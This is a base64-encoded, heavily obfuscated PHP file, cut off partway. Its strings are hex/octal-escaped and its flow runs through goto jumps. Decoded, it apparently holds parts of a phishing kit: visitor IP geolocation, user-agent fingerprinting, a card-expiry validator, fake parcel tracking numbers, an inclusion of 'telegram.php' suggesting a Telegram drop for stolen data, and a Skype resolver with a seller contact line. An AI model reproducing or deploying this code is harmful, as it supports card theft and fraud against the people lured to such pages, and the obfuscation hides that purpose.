MFx4NzNceDZmXHg3NVwxNjJceDYzXHg2NVx4MjBceDY5XHg3M1x4MjBcMTQxXDE1NFwxNjNceDZmXDQwXDE2NFx4NjVceDZkXDE2MFx4NmZcMTYyXHg2MVwxNjJceDc5IjsgfSBmdW5jdGlvbiBzZXRJY29uKCkgeyByZXR1cm4gIlx4NjlcMTU1XHg2N1x4MmZceDY5XDE0M1wxNTdcMTU2XHgyZVwxNTFcMTQzXDE1NyI7IH0gZnVuY3Rpb24gc2V0Q29udGFjdCgpIHsgcmV0dXJuICJcMTAzXDE1N1wxNTZcMTY0XHg2MVx4NjNcMTY0XDQwXDE1NVx4NjVceDIwXDE1N1wxNTZcNDBcMTIzXHg2YlwxNzFcMTYwXDE0NVw0MFwxNDZcMTU3XDE2Mlw0MFwxMDJceDZjXHg2MVwxNDNceDZiXDE1NFx4NjlceDczXDE2NFx4MjBcMTQxXHg2ZVwxNDRcNDBceDQxXDEyMFwxMTFceDIwXDcyXHgyMFx4NzlceDZmXHg2OFwxNDFcMTU2XDE1Nlw1Nlx4NjVcMTU0XDE1MVx4NzQiOyB9IHB1YmxpYyBmdW5jdGlvbiBpc0JsYWNrbGlzdGVkKCRzdHJpbmcpIHsgaWYgKGluX2FycmF5KCRzdHJpbmcsIGFycmF5KCJceDc5XDE1N1wxNTBceDYxXDE1NlwxNTZceDJlXHg2NVx4NmNceDY5XDE2NCIsICJceDYyXDE1NFwxNDFcMTU2XDE0M1wxNTBceDY1XHg3MFwxNDVcMTYyXDE2Mlx4NmZcMTU2IiwgJycsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJywgJycsICJcMTY1XDE2M1x4NjVcMTYyXHg2ZVwxNDFcMTU1XDE0NSIpKSkgeyByZXR1cm4gdHJ1ZTsgfSBlbHNlIHsgcmV0dXJuIGZhbHNlOyB9IH0gcHVibGljIGZ1bmN0aW9uIGVyck1lc3NhZ2VzKCRpbnQpIHsgaWYgKCRpbnQgPT0gMSkgeyByZXR1cm4gIlw3NFwxNDNcMTQ1XHg2ZVwxNjRcMTQ1XDE2Mlw3Nlw3NFwxNDRcMTUxXHg3Nlw0MFx4NjlceDY0XDc1XHgyMlx4NzJcMTQ1XHg3M1x4NmZcMTU0XDE2NlwxNDVceDczXDE2NVwxNDNcNDJcNDBceDYzXHg2Y1x4NjFcMTYzXHg3M1w3NVw0MlwxNDFcMTU0XDE0NVwxNjJcMTY0XHgyMFwxNDFcMTU0XDE0NVx4NzJcMTY0XHgyZFwxNDRcMTUxXHg3M1wxNTVcMTUxXDE2M1wxNjNceDYxXHg2Mlx4NmNcMTQ1XDQwXDE0MVwxNTRceDY1XDE2MlwxNjRceDJkXHg2NFx4NjFcMTU2XDE0N1x4NjVceDcyXDQyXHgzZVw3NFx4NjJcMTY1XHg3NFx4NzRceDZmXDE1Nlx4MjBcMTY0XDE3MVx4NzBceDY1XDc1XDQyXDE0Mlx4NzVceDc0XHg3NFx4NmZceDZlXDQyXHgyMFx4NjNceDZjXDE0MVwxNjNcMTYzXDc1XDQyXHg2M1wxNTRceDZmXHg3M1x4NjVcNDJcNDBcMTQ0XDE0MVwxNjRcMTQxXHgyZFwxNDRcMTUxXHg3M1x4NmRcMTUxXHg3M1x4NzNceDNkXHgyMlwxNDFceDZjXDE0NVx4NzJcMTY0XDQyXDc2XDQ2XDE2NFx4NjlceDZkXHg2NVx4NzNceDNiXHgzY1x4MmZcMTQyXHg3NVx4NzRcMTY0XDE1N1wxNTZcNzZceDQ1XDE2Mlx4NzJceDZmXHg3Mlx4M2FceDIwXHg1NVx4NzNceDY1XDE2Mlx4NmVcMTQxXDE1NVwxNDVcNDBcMTAyXDE1NFwxNDFcMTQzXHg2Ylx4NmNceDY5XHg3M1x4NzRceDY1XHg2NFx4MjFcNzRceDJmXHg2NFx4NjlceDc2XDc2XHgzY1x4MmZceDYzXHg2NVx4NmVcMTY0XHg2NVwxNjJcNzYiOyB9IGVsc2VpZiAoJGludCA9PSAyKSB7IHJldHVybiAiXDc0XDE0M1x4NjVceDZlXHg3NFwxNDVceDcyXDc2XHgzY1wxNDRceDY5XHg3Nlw0MFx4NjlcMTQ0XDc1XHgyMlx4NzJceDY1XDE2M1x4NmZceDZjXDE2Nlx4NjVcMTYzXHg3NVwxNDNcNDJceDIwXDE0M1wxNTRceDYxXDE2M1x4NzNceDNkXDQyXDE0MVx4NmNcMTQ1XHg3MlwxNjRcNDBcMTQxXDE1NFwxNDVceDcyXHg3NFw1NVwxNDRceDY5XHg3M1x4NmRceDY5XHg3M1wxNjNcMTQxXDE0MlwxNTRceDY1XDQwXHg2MVx4NmNceDY1XHg3Mlx4NzRceDJkXHg2NFwxNDFcMTU2XHg2N1wxNDVceDcyXHgyMlw3Nlw3NFwxNDJceDc1XDE2NFx4NzRcMTU3XDE1Nlw0MFx4NzRcMTcxXHg3MFwxNDVceDNkXDQyXHg2MlwxNjVceDc0XDE2NFx4NmZcMTU2XDQyXDQwXDE0M1wxNTRceDYxXHg3M1wxNjNcNzVcNDJcMTQzXDE1NFx4NmZceDczXHg2NVx4MjJcNDBceDY0XDE0MVx4NzRceDYxXDU1XHg2NFwxNTFceDczXDE1NVwxNTFceDczXDE2M1x4M2RcNDJcMTQxXHg2Y1wxNDVceDcyXHg3NFx4MjJcNzZceDI2XDE2NFx4NjlceDZkXDE0NVwxNjNceDNiXDc0XDU3XDE0MlwxNjVceDc0XDE2NFx4NmZceDZlXDc2XDEwNVwxNjJcMTYyXDE1N1wxNjJceDNhXHgyMFwxMDNceDYxXHg2ZVx4MjBceDZlXDE1N1wxNjRceDIwXDE0M1x4NmZcMTU2XDE1NlwxNDVcMTQzXDE2NFx4MjBceDc0XHg2Zlx4MjBcMTAxXHg1MFwxMTFceDJlXDc0XDU3XHg2NFwxNTFcMTY2XDc2XDc0XHgyZlx4NjNceDY1XHg2ZVx4NzRcMTQ1XHg3Mlx4M2UiOyB9IGVsc2VpZiAoJGludCA9PSAzKSB7IHJldHVybiAiXDc0XHg2M1wxNDVceDZlXHg3NFx4NjVcMTYyXHgzZVw3NFx4NjRcMTUxXHg3Nlw0MFx4NjlcMTQ0XDc1XDQyXHg3MlwxNDVceDczXHg2Zlx4NmNcMTY2XDE0NVwxNjNcMTY1XDE0M1w0Mlx4MjBcMTQzXDE1NFwxNDFceDczXDE2M1w3NVw0MlwxNDFceDZjXDE0NVx4NzJceDc0XDQwXDE0MVx4NmNcMTQ1XDE2Mlx4NzRcNTVcMTQ0XHg2OVwxNjNceDZkXHg2OVx4NzNceDczXDE0MVwxNDJceDZjXDE0NVw0MFx4NjFcMTU0XHg2NVwxNjJceDc0XDU1XDE1MVx4NmVceDY2XDE1N1x4MjJcNzZceDNjXDE0Mlx4NzVcMTY0XHg3NFwxNTdceDZlXHgyMFwxNjRcMTcxXHg3MFwxNDVceDNkXHgyMlx4NjJcMTY1XDE2NFwxNjRceDZmXDE1Nlx4MjJcNDBceDYzXDE1NFwxNDFcMTYzXHg3M1w3NVx4MjJcMTQzXDE1NFwxNTdceDczXHg2NVx4MjJceDIwXHg2NFwxNDFceDc0XDE0MVw1NVwxNDRceDY5XDE2M1x4NmRcMTUxXHg3M1x4NzNceDNkXHgyMlwxNDFceDZjXDE0NVx4NzJceDc0XHgyMlw3Nlw0Nlx4NzRceDY5XHg2ZFwxNDVcMTYzXDczXDc0XHgyZlwxNDJcMTY1XDE2NFx4NzRceDZmXDE1Nlx4M2VceDQ1XDE2Mlx4NzJcMTU3XHg3Mlx4M2FceDIwXDEyMFx4NmNcMTQ1XDE0MVwxNjNcMTQ1XDU0XHgyMFx4NjVcMTU2XHg3NFx4NjVcMTYyXHgyMFx4NjFcNDBcMTIzXDE1M1x4NzlceDcwXDE0NVx4MjBceDU1XHg3M1x4NjVcMTYyXHg2ZVx4NjFceDZkXHg2NVx4MmVceDNjXDU3XDE0NFwxNTFcMTY2XDc2XHgzY1x4MmZcMTQzXDE0NVx4NmVceDc0XDE0NVx4NzJcNzYiOyB9IH0gcHVibGljIGZ1bmN0aW9uIHZhbFNreXBlKCRzdHJpbmcpIHsgaWYgKHN0cmxlbigkc3RyaW5nKSA+IDMyIHx8IHN0cmxlbigkc3RyaW5nKSA8IDYgfHwgZW1wdHkoJHN0cmluZykgfHwgY3R5cGVfc3BhY2UoJHN0cmluZykgfHwgc3RycG9zKCJcNDAiLCAkc3RyaW5nKSkgeyByZXR1cm4gZmFsc2U7IH0gZWxzZSB7IHJldHVybiB0cnVlOyB9IH0gcHVibGljIGZ1bmN0aW9uIHByZXBhcmVTdHJpbmcoJHN0cmluZykgeyByZXR1cm4gc3RyX3JlcGxhY2UoIlx4MjAiLCAnJywgaHRtbGVudGl0aWVzKCRzdHJpbmcpKTsgfSBwdWJsaWMgZnVuY3Rpb24gcmVzb2x2ZVVzZXIoJHVzZXJuYW1lLCAkYXBpKSB7ICRjID0gY3VybF9pbml0KCk7IGN1cmxfc2V0b3B0KCRjLCBDVVJMT1BUX0FVVE9SRUZFUkVSLCBUUlVFKTsgY3VybF9zZXRvcHQoJGMsIENVUkxPUFRfSEVBREVSLCAwKTsgY3VybF9zZXRvcHQoJGMsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyBjdXJsX3NldG9wdCgkYywgQ1VSTE9QVF9VUkwsICRhcGkgLiAkdXNlcm5hbWUpOyBjdXJsX3NldG9wdCgkYywgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgVFJVRSk7ICR4ID0gY3VybF9leGVjKCRjKTsgcmV0dXJuICR4OyBjdXJsX2Nsb3NlKCRjKTsgfSBwdWJsaWMgZnVuY3Rpb24gYWxlcnRPdXQoJHN0cmluZywgJGF2YXRhciwgJHVzZXJuYW1lKSB7IGlmICgkYXZhdGFyKSB7IHJldHVybiAiXDc0XHg2M1wxNDVceDZlXHg3NFx4NjVceDcyXHgzZVx4M2NceDY0XDE1MVwxNjZceDIwXDE1MVwxNDRceDNkXDQyXHg3MlwxNDVcMTYzXDE1N1x4NmNceDc2XDE0NVwxNjNceDc1XDE0M1x4MjJcNDBceDYzXDE1NFwxNDFceDczXDE2M1w3NVx4MjJcMTQxXHg2Y1x4NjVceDcyXDE2NFx4MjBcMTQxXDE1NFx4NjVcMTYyXHg3NFx4MmRcMTQ0XHg2OVwxNjNcMTU1XHg2OVx4NzNcMTYzXDE0MVwxNDJceDZjXDE0NVx4MjBcMTQxXHg2Y1x4NjVcMTYyXHg3NFx4MmRceDczXDE2NVx4NjNceDYzXDE0NVwxNjNceDczXHgyMlw3Nlw3NFwxNDJcMTY1XDE2NFwxNjRcMTU3XHg2ZVx4MjBcMTY0XDE3MVx4NzBcMTQ1XHgzZFx4MjJcMTQyXDE2NVx4NzRceDc0XHg2ZlwxNTZceDIyXHgyMFwxNDNceDZjXHg2MVwxNjNcMTYzXDc1XDQyXHg2M1wxNTRceDZmXHg3M1x4NjVcNDJceDIwXHg2NFwxNDFceDc0XHg2MVw1NVwxNDRcMTUxXHg3M1x4NmRceDY5XHg3M1x4NzNceDNkXDQyXDE0MVx4NmNceDY1XDE2MlwxNjRcNDJceDNlXDQ2XHg3NFx4NjlceDZkXDE0NVwxNjNcNzNceDNjXDU3XHg2MlwxNjVceDc0XHg3NFx4NmZcMTU2XHgzZVw3NFwxNTFcMTU1XDE0N1w0MFwxNjNcMTYyXHg2M1x4M2RceDIyXHg2OFx4NzRcMTY0XHg3MFw3Mlw1N1w1N1x4NjFceDcwXDE1MVx4MmVcMTYzXHg2YlwxNzFcMTYwXDE0NVw1NlwxNDNcMTU3XDE1NVw1N1wxNjVcMTYzXHg2NVx4NzJceDczXDU3IiAuICR1c2VybmFtZSAuICJceDJmXHg3MFx4NzJceDZmXHg2NlwxNTFceDZjXHg2NVx4MmZceDYxXDE2NlwxNDFcMTY0XHg2MVx4NzJceDIyXHgyMFwxNjdceDY5XHg2NFwxNjRceDY4XHgzZFx4MjJcNjFceDMwXDYwXHgyMlx4MjBceDY4XHg2NVwxNTFceDY3XDE1MFx4NzRcNzVcNDJceDMxXDYwXDYwXHgyMlx4MmZcNzZcNzRceDJmXDE0MlwxNjJcNzZcNzRcMTUwXDE2Mlx4M2UiIC4gJHN0cmluZyAuICJcNzRcNTdcMTQ0XHg2OVx4NzZceDNlXHgzY1x4MmZcMTQzXHg2NVx4NmVceDc0XHg2NVx4NzJceDNlIjsgfSBlbHNlIHsgcmV0dXJuICJcNzRceDYzXDE0NVwxNTZceDc0XHg2NVx4NzJcNzZcNzRceDY0XHg2OVwxNjZcNDBceDY5XDE0NFw3NVw0MlwxNjJceDY1XHg3M1x4NmZcMTU0XDE2NlwxNDVcMTYzXHg3NVx4NjNceDIyXHgyMFwxNDNceDZjXDE0MVx4NzNcMTYzXDc1XHgyMlx4NjFceDZjXDE0NVx4NzJceDc0XDQwXHg2MVwxNTRcMTQ1XDE2MlwxNjRceDJkXDE0NFx4NjlcMTYzXDE1NVwxNTFceDczXDE2M1x4NjFcMTQyXDE1NFx4NjVceDIwXHg2MVx4NmNceDY1XDE2Mlx4NzRcNTVcMTYzXDE2NVx4NjNceDYzXDE0NVx4NzNceDczXHgyMlw3Nlx4M2NcMTQyXHg3NVx4NzRceDc0XHg2ZlwxNTZceDIwXDE2NFwxNzFceDcwXHg2NVx4M2RceDIyXDE0MlwxNjVcMTY0XHg3NFx4NmZceDZlXDQyXHgyMFx4NjNcMTU0XHg2MVx4NzNcMTYzXDc1XDQyXHg2M1wxNTRcMTU3XDE2M1x4NjVcNDJceDIwXDE0NFwxNDFceDc0XDE0MVw1NVwxNDRceDY5XHg3M1x4NmRcMTUxXHg3M1x4NzNceDNkXDQyXHg2MVwxNTRceDY1XDE2Mlx4NzRceDIyXDc2XDQ2XHg3NFwxNTFcMTU1XDE0NVwxNjNcNzNcNzRceDJmXDE0MlwxNjVceDc0XHg3NFx4NmZcMTU2XHgzZSIgLiAkc3RyaW5nIC4gIlx4M2NceDJmXHg2NFx4NjlceDc2XHgzZVx4M2NcNTdceDYzXDE0NVx4NmVceDc0XHg2NVwxNjJceDNlIjsgfSB9IH0gZ290byB6WjhKSjsgZzFSVU46ICRzZSA9IGdlbmVyYXRlSUQoKSAuIGdlbmVyYXRlVHJhY2tpbmdOdW1iZXIoKSAuIGdlbmVyYXRlSUQoKTsgZ290byBnTkRSVDsgelo4Sko6IGZ1bmN0aW9uIGdldE9TKCkgeyBnbG9iYWwgJHVzZXJfYWdlbnQ7ICRvc19wbGF0Zm9ybSA9ICJceDU1XHg2ZVx4NmJcMTU2XDE1N1x4NzdcMTU2XDQwXDExN1wxMjNceDIwXHg1MFx4NmNcMTQxXDE2NFwxNDZcMTU3XHg3MlwxNTUiOyAkb3NfYXJyYXkgPSBhcnJheSgiXHgyZlwxNjdceDY5XDE1NlwxNDRcMTU3XHg3N1x4NzNceDIwXHg2ZVwxNjRceDIwXDYxXDYwXDU3XDE1MSIgPT4gIlwxMjdcMTUxXDE1Nlx4NjRceDZmXHg3N1wxNjNceDIwXHgzMVw2MCIsICJceDJmXDE2N1x4NjlceDZlXHg2NFx4NmZcMTY3XDE2M1x4MjBceDZlXHg3NFx4MjBceDM2XHgyZVx4MzNceDJmXDE1MSIgPT4gIlx4NTdcMTUxXDE1NlwxNDRceDZmXHg3N1x4NzNcNDBceDM4XDU2XHgzMSIsICJcNTdceDc3XDE1MVwxNTZceDY0XDE1N1wxNjdceDczXHgyMFwxNTZcMTY0XHgyMFw2Nlx4MmVceDMyXHgyZlwxNTEiID0+ICJcMTI3XHg2OVx4NmVcMTQ0XHg2ZlwxNjdcMTYzXHgyMFw3MCIsICJcNTdceDc3XHg2OVx4NmVceDY0XHg2ZlwxNjdcMTYzXHgyMFwxNTZceDc0XHgyMFw2Nlx4MmVcNjFcNTdceDY5IiA9PiAiXHg1N1x4NjlceDZlXHg2NFwxNTdcMTY3XHg3M1w0MFw2NyIsICJcNTdcMTY3XHg2OVwxNTZcMTQ0XDE1N1x4NzdceDczXDQwXDE1NlwxNjRcNDBcNjZceDJlXHgzMFx4MmZceDY5IiA9PiAiXDEyN1wxNTFcMTU2XHg2NFwxNTdcMTY3XDE2M1w0MFwxMjZceDY5XHg3M1x4NzRcMTQxIiwgIlw1N1wxNjdcMTUxXDE1Nlx4NjRceDZmXHg3N1wxNjNcNDBcMTU2XDE2NFx4MjBceDM1XHgyZVx4MzJcNTdceDY5IiA9PiAiXHg1N1x4NjlcMTU2XHg2NFwxNTdceDc3XHg3M1w0MFwxMjNceDY1XHg3Mlx4NzZcMTQ1XHg3Mlw0MFw2Mlx4MzBcNjBceDMzXDU3XHg1OFx4NTBcNDBceDc4XHgzNlw2NCIsICJceDJmXHg3N1x4NjlcMTU2XDE0NFx4NmZceDc3XDE2M1w0MFwxNTZceDc0XHgyMFx4MzVcNTZcNjFcNTdceDY5IiA9PiAiXDEyN1wxNTFceDZlXHg2NFwxNTdcMTY3XHg3M1w0MFx4NThcMTIwIiwgIlx4MmZceDc3XHg2OVx4NmVcMTQ0XDE1N1wxNjdcMTYzXHgyMFwxNzBcMTYwXHgyZlx4NjkiID0+ICJceDU3XDE1MVx4NmVceDY0XHg2Zlx4NzdcMTYzXHgyMFwxMzBceDUwIiwgIlx4MmZceDc3XDE1MVx4NmVcMTQ0XHg2ZlwxNjdceDczXDQwXHg2ZVwxNjRcNDBceDM1XHgyZVx4MzBceDJmXHg2OSIgPT4gIlx4NTdceDY5XDE1Nlx4NjRceDZmXDE2N1wxNjNcNDBcNjJceDMwXHgzMFx4MzAiLCAiXDU3XHg3N1x4NjlceDZlXDE0NFwxNTdceDc3XHg3M1w0MFwxNTVcMTQ1XHgyZlwxNTEiID0+ICJceDU3XDE1MVx4NmVcMTQ0XDE1N1wxNjdceDczXHgyMFwxMTVcMTA1IiwgIlx4MmZcMTY3XDE1MVwxNTZceDM5XDcwXHgyZlwxNTEiID0+ICJcMTI3XDE1MVwxNTZcMTQ0XDE1N1wxNjdcMTYzXHgyMFx4MzlceDM4IiwgIlw1N1x4NzdcMTUxXDE1Nlx4MzlcNjVcNTdceDY5IiA9PiAiXHg1N1x4NjlcMTU2XDE0NFwxNTdceDc3XHg3M1x4MjBcNzFcNjUiLCAiXDU3XDE2N1x4NjlcMTU2XHgzMVx4MzZceDJmXDE1MSIgPT4gIlwxMjdceDY5XDE1Nlx4NjRcMTU3XHg3N1x4NzNceDIwXHgzM1w1Nlx4MzFcNjEiLCAiXDU3XHg2ZFwxNDFcMTQzXDE1MVx4NmVceDc0XHg2Zlx4NzNcMTUwXDE3NFwxNTVceDYxXDE0M1w0MFx4NmZceDczXHgyMFx4NzhcNTdceDY5IiA9PiAiXHg0ZFx4NjFcMTQzXHgyMFwxMTdcMTIzXDQwXDEzMCIsICJcNTdcMTU1XHg2MVwxNDNceDVmXHg3MFwxNTdcMTY3XHg2NVwxNjJcMTYwXDE0M1w1N1wxNTEiID0+ICJcMTE1XHg2MVwxNDNcNDBceDRmXHg1M1x4MjBceDM5IiwgIlx4MmZceDZjXDE1MVwxNTZceDc1XDE3MFx4MmZceDY5IiA9PiAiXHg0Y1wxNTFceDZlXHg3NVx4NzgiLCAiXHgyZlx4NzVceDYyXDE2NVx4NmVceDc0XHg3NVw1N1x4NjkiID0+ICJcMTI1XHg2Mlx4NzVceDZlXDE2NFx4NzUiLCAiXHgyZlwxNTFceDcwXHg2OFx4NmZcMTU2XHg2NVw1N1wxNTEiID0+ICJcMTUxXHg1MFx4NjhcMTU3XDE1NlwxNDUiLCAiXHgyZlwxNTFceDcwXHg2Zlx4NjRcNTdceDY5IiA9PiAiXHg2OVwxMjBceDZmXHg2NCIsICJceDJmXHg2OVx4NzBceDYxXDE0NFx4MmZcMTUxIiA9PiAiXHg2OVwxMjBcMTQxXHg2NCIsICJceDJmXHg2MVx4NmVcMTQ0XDE2MlwxNTdceDY5XHg2NFx4MmZceDY5IiA9PiAiXHg0MVwxNTZceDY0XHg3MlwxNTdcMTUxXDE0NCIsICJceDJmXDE0Mlx4NmNceDYxXDE0M1wxNTNcMTQyXDE0NVx4NzJceDcyXHg3OVx4MmZceDY5IiA9PiAiXHg0MlwxNTRcMTQxXHg2M1x4NmJceDQyXDE0NVwxNjJcMTYyXDE3MSIsICJceDJmXHg3N1x4NjVcMTQyXDE1N1x4NzNcNTdcMTUxIiA9PiAiXHg0ZFwxNTdceDYyXDE1MVx4NmNcMTQ1Iik7IGZvcmVhY2ggKCRvc19hcnJheSBhcyAkcmVnZXggPT4gJHZhbHVlKSB7IGlmIChwcmVnX21hdGNoKCRyZWdleCwgJHVzZXJfYWdlbnQpKSB7ICRvc19wbGF0Zm9ybSA9ICR2YWx1ZTsgfSB9IHJldHVybiAkb3NfcGxhdGZvcm07IH0gZ290byBRN0xnUzsgTEhUWjc6IGZ1bmN0aW9uIGNoZWNrRXhwKCRleHApIHsgJGxpc3QgPSBleHBsb2RlKCJcNTciLCAkZXhwKTsgaWYgKCRsaXN0WzBdIDw9IDAgfHwgJGxpc3RbMF0gPiAxMikgeyByZXR1cm4gZmFsc2U7IH0gZWxzZSB7IGlmICgkbGlzdFsxXSA8IDIxIHx8ICRsaXN0WzFdID4gMzkpIHsgcmV0dXJuIGZhbHNlOyB9IGVsc2UgeyByZXR1cm4gdHJ1ZTsgfSB9IH0gZ290byBTUERQZTsgWEdUSV86IGZ1bmN0aW9uIGlwX3Zpc2l0b3JfY291bnRyeSgpIHsgJGNsaWVudCA9IEAkX1NFUlZFUlsiXDExMFwxMjRceDU0XDEyMFx4NWZcMTAzXDExNFx4NDlceDQ1XDExNlx4NTRcMTM3XHg0OVwxMjAiXTsgJGZvcndhcmQgPSBAJF9TRVJWRVJbIlwxMTBceDU0XDEyNFx4NTBcMTM3XHg1OFwxMzdcMTA2XHg0ZlwxMjJcMTI3XHg0MVwxMjJcMTA0XDEwNVwxMDRceDVmXHg0NlwxMTdcMTIyIl07ICRyZW1vdGUgPSAkX1NFUlZFUlsiXHg1Mlx4NDVcMTE1XHg0ZlwxMjRcMTA1XHg1ZlwxMDFceDQ0XHg0NFwxMjIiXTsgJGNvdW50cnkgPSAiXHg1NVx4NmVceDZiXHg2ZVx4NmZceDc3XHg2ZSI7IGlmIChmaWx0ZXJfdmFyKCRjbGllbnQsIEZJTFRFUl9WQUxJREFURV9JUCkpIHsgJGlwID0gJGNsaWVudDsgfSBlbHNlaWYgKGZpbHRlcl92YXIoJGZvcndhcmQsIEZJTFRFUl9WQUxJREFURV9JUCkpIHsgJGlwID0gJGZvcndhcmQ7IH0gZWxzZSB7ICRpcCA9ICRyZW1vdGU7IH0gJGNoID0gY3VybF9pbml0KCk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICJcMTUwXDE2NFwxNjRceDcwXHgzYVx4MmZcNTdceDc3XDE2N1wxNjdceDJlXHg2N1x4NjVceDZmXHg3MFx4NmNceDc1XDE0N1x4NjlcMTU2XHgyZVwxNTZcMTQ1XDE2NFx4MmZceDZhXDE2M1wxNTdceDZlXDU2XDE0N1wxNjBceDNmXHg2OVwxNjBcNzUiIC4gJGlwKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgVFJVRSk7ICRpcF9kYXRhX2luID0gY3VybF9leGVjKCRjaCk7IGN1cmxfY2xvc2UoJGNoKTsgJGlwX2RhdGEgPSBqc29uX2RlY29kZSgkaXBfZGF0YV9pbiwgdHJ1ZSk7ICRpcF9kYXRhID0gc3RyX3JlcGxhY2UoIlw0Nlx4NzFceDc1XDE1N1x4NzRceDNiIiwgIlw0MiIsICRpcF9kYXRhKTsgaWYgKCRpcF9kYXRhICYmICRpcF9kYXRhWyJcMTQ3XDE0NVx4NmZcMTYwXHg2Y1wxNjVcMTQ3XDE1MVwxNTZceDVmXDE0M1wxNTdceDc1XDE1NlwxNjRcMTYyXHg3OVx4NGVceDYxXDE1NVwxNDUiXSAhPSBudWxsKSB7ICRjb3VudHJ5ID0gJGlwX2RhdGFbIlwxNDdceDY1XDE1N1wxNjBceDZjXHg3NVwxNDdceDY5XDE1Nlx4NWZcMTQzXDE1N1x4NzVceDZlXHg3NFwxNjJcMTcxXDExNlwxNDFceDZkXDE0NSJdOyB9IHJldHVybiAkY291bnRyeTsgfSBnb3RvIFp0cE12OyB6UXg0RzogcmVxdWlyZSAiXHg3NFwxNDVcMTU0XDE0NVx4NjdceDcyXDE0MVwxNTVcNTZceDcwXHg2OFx4NzAiOyBnb3RvIGtHdXU2OyBvd09DaDogZnVuY3Rpb24gX18weHgzNCgpIHsgfSBnb3RvIEhwOHdWOyBuU2IxQzogJGRhdGUgPSBnbWRhdGUoIlwxMTBcNzJcMTUxXHgzYVx4NzNceDIwXDE3NFw0MFwxNDRceDJmXDE1NVx4MmZceDU5Iik7IGdvdG8ga01hbFA7IGdORFJUOiBpZiAoIWlzc2V0KCRfU0VTU0lPTlsiXHg3NFx4NzJcMTQxXDE0M1wxNTNcMTUxXHg2ZVwxNDdceDVmXHg2ZVwxNjVceDZkXHg2MlwxNDVcMTYyIl0pKSB7ICRfU0VTU0lPTlsiXHg3NFwxNjJcMTQxXHg2M1x4NmJceDY5XHg2ZVwxNDdcMTM3XHg2ZVx4NzVcMTU1XHg2MlwxNDVceDcyIl0gPSAkc2U7IH0gZ290byBEN2ptbjsgRDdqbW46IGZ1bmN0aW9uIGdldElQQWRkcmVzcygpIHsgaWYgKCFlbXB0eSgkX1NFUlZFUlsiXDExMFwxMjRceDU0XHg1MFx4NWZceDQzXHg0Y1wxMTFcMTA1XDExNlx4NTRcMTM3XDExMVwxMjAiXSkpIHsgJGlwID0gJF9TRVJWRVJbIlwxMTBceDU0XHg1NFwxMjBceDVmXDEwM1wxMTRceDQ5XHg0NVwxMTZceDU0XDEzN1x4NDlcMTIwIl07IH0gZWxzZWlmICghZW1wdHkoJF9TRVJWRVJbIlwxMTBceDU0XHg1NFwxMjBceDVmXHg1OFx4NWZcMTA2XHg0ZlwxMjJcMTI3XHg0MVwxMjJcMTA0XDEwNVwxMDRcMTM3XHg0NlwxMTdceDUyIl0pKSB7ICRpcCA9ICRfU0VSVkVSWyJcMTEwXDEyNFwxMjRceDUwXDEzN1wxMzBcMTM3XDEwNlwxMTdceDUyXHg1N1wxMDFcMTIyXDEwNFx4NDVcMTA0XHg1Zlx4NDZcMTE3XDEyMiJdOyB9IGVsc2UgeyAkaXAgPSAkX1NFUlZFUlsiXHg1MlwxMDVceDRkXHg0Zlx4NTRcMTA1XDEzN1x4NDFceDQ0XHg0NFwxMjIiXTsgfSByZXR1cm4gJGlwOyB9IGdvdG8gaVZtSUo7IGZDS2tFOiBmdW5jdGlvbiBtaW5sZW4oJGssICR2KSB7IGlmICgkayA9PSAnJykgeyByZXR1cm4gUEhQX0lOVF9NQVg7IH0gaWYgKHN0cmxlbigkaykgPCBzdHJsZW4oJHYpKSB7IHJldHVybiAkazsgfSByZXR1cm4gJHY7ICRkYXRhID0gYXJyYXkoIlw2MVx4MzZcNjMiLCAiXDY2XDYzXDYwIiwgIlx4MzRceDMzIiwgIlw2NFw2MiIsICJceDM5XDcxXHgzOSIsICJcNjNceDMxIik7ICRtYXhfbCA9IHN0cmxlbihhcnJheV9yZWR1Y2UoJGRhdGEsICJceDZkXDE0MVwxNzBceDZjXDE0NVwxNTYiKSk7ICRtaW5fbCA9IHN0cmxlbihhcnJheV9yZWR1Y2UoJGRhdGEsICJceDZkXDE1MVx4NmVceDZjXHg2NVwxNTYiKSk7ICRkYXRhID0gYXJyYXkoIlx4MzFcNjZceDMzIiwgIlw2Nlw2M1x4MzAiLCAiXDY0XDYzIiwgIlx4MzRcNjIiLCAiXDcxXDcxXHgzOSIsICJceDMzXHgzMSIpOyAkbWF4X2wgPSBzdHJsZW4oYXJyYXlfcmVkdWNlKCRkYXRhLCAiXDE1NVwxNDFceDc4XHg2Y1wxNDVcMTU2IikpOyAkbWluX2wgPSBzdHJsZW4oYXJyYXlfcmVkdWNlKCRkYXRhLCAiXDE1NVwxNTFceDZlXHg2Y1x4NjVcMTU2IikpOyAkZGF0YSA9IGFycmF5KCJceDMxXDY2XHgzMyIsICJcNjZceDMzXDYwIiwgIlw2NFx4MzMiLCAiXHgzNFx4MzIiLCAiXDcxXHgzOVx4MzkiLCAiXHgzM1x4MzEiKTsgJG1heF9sID0gc3RybGVuKGFycmF5X3JlZHVjZSgkZGF0YSwgIlx4NmRcMTQxXDE3MFwxNTRcMTQ1XHg2ZSIpKTsgJG1pbl9sID0gc3RybGVuKGFycmF5X3JlZHVjZSgkZGF0YSwgIlx4NmRcMTUxXDE1NlwxNTRcMTQ1XDE1NiIpKTsgfSBnb3RvIEpnaHh1OyBIcDh3VjogZnVuY3Rpb24gZ2V0QnJvd3NlcigpIHsgZ2xvYmFsICR1c2VyX2FnZW50OyAkYnJvd3NlciA9ICJceDU1XDE1Nlx4NmJcMTU2XHg2ZlwxNjdceDZlXHgyMFwxMDJceDcyXDE1N1wxNjdcMTYzXHg2NVwxNjIiOyAkYnJvd3Nlcl9hcnJheSA9IGFycmF5KCJceDJmXHg2ZFwxNjNceDY5XDE0NVx4MmZceDY5IiA9PiAiXHg0OVwxNTZceDc0XHg2NVx4NzJceDZlXDE0NVx4NzRcNDBceDQ1XHg3OFx4NzBceDZjXDE1N1wxNjJceDY1XHg3MiIsICJcNTdceDY2XDE1MVx